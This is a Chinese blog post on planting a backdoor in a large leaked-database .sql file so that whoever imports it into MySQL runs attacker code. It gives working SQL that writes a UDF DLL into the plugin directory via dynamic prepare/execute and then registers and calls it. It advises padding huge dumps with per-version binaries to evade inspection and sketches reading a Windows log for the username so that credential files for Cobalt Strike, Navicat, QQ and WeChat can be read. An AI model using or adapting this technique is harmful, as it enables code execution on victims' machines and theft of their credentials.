mysql-.sql文件钓鱼上线

请注意,本文编写于 1018 天前,最后修改于 1017 天前,其中某些信息可能已经过时。

前言

之前聊天的时候 nux 提了一嘴,能不能在裤子里插🐎,几百 MB 发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百 M 或者几百 G 的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。

为什么选用.sql 呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进 mysql 里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。

具体想法基本就是 UDF,直接写出 DLL 然后运行。能 RCE 的基本就是这样了。

然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题

  • mysql用户权限问题
  • mysql插件路径问题
  • 写出时候的动态路径问题
  • mysql插件路径权限问题

前面三个都好解决,最后一个是真的无解,所以遇到那些带 secure 开关的 mysql 基本就没办法上线,linux 默认安装一般都带这个,但是好在,win­dows 下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是 win­dows 洗,所以问题不太大。

对于用户权限问题,我们只需要在制作我们的钓鱼 sql 的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用 root 权限跑了(没错就是我)。至于如何获取 mysql 插件也很简单,直接用 select @@basedir as basePath from dual 拼接一下就行。

最复杂的其实是动态路径问题,我之前一直以为 out­file 不能用变量,结果今天查了一下,有 prepareexecute 这种好东西。可以动态指行 sql 语句,那么这些要素不都齐全了?直接进行一个代码的缝合

代码

直接上代码

SET @BasePath = (select @@basedir as basePath from dual) ; 
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();

写出 dll 后用 udf 的方式上线就行

一些解决办法

有时候不同版本的 mysql 的插件路径不同,并且 64 位 win­dows/​linux,32 位 win­dows/​linux,所需要的路径 / 二进制文件也不同,这些改如何处理呢?

我的看法就是直接进行一个暴力试错,反正几百 M 的 sql,多写几行别人也看不出来,不知道哪个版本的 mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制 hex 都写进去,总有一个会成功的.jpg

进阶

其实,如果不考虑上线,只考虑探针的话,我们 se­lect 一些内容就行了,但是如果直接 se­lect 不知道路径的情况下,我们能获取到的内容又不多,比如在 linux 下就只能读取到 passwd,hosts 这类东西。

但是对于这份.sql 使用者的群体敏感性,我们基本能确认这些使用者用的不是红 / 蓝队,就是黑 / 灰产,对于他们这些用户来说,我们熟悉的 cs/​Nav­i­cat/​qq/ 微信这些敏感文件都储存与 C:\users\用户名\xxxxx 下, 再此当中,只有用户名是不固定的?

有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?

甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?

~ 所以接下来的目标,就是研究 sql 脚本如何自动获取路径,达成自动化探针的效果。 ~

通过这个文章看了一下:MySQL 蜜罐获取攻击者微信 ID

好的,要素又齐全了。

可以通过 C:\Windows\PFRO.log 大概率获取到电脑使用者的用户名。

那么直接通过 load­_­file 读取文件,然后使用 mysql 自带的 left()、right()、substring()、substring_index() 这类函数,不就能成了?

未完待续(哪天心情好了补代码)

添加新评论

已有 1 条评论

linux 下可以用 system ls -la 执行命令,windows 下要先用 ntfs 漏洞创建目录才行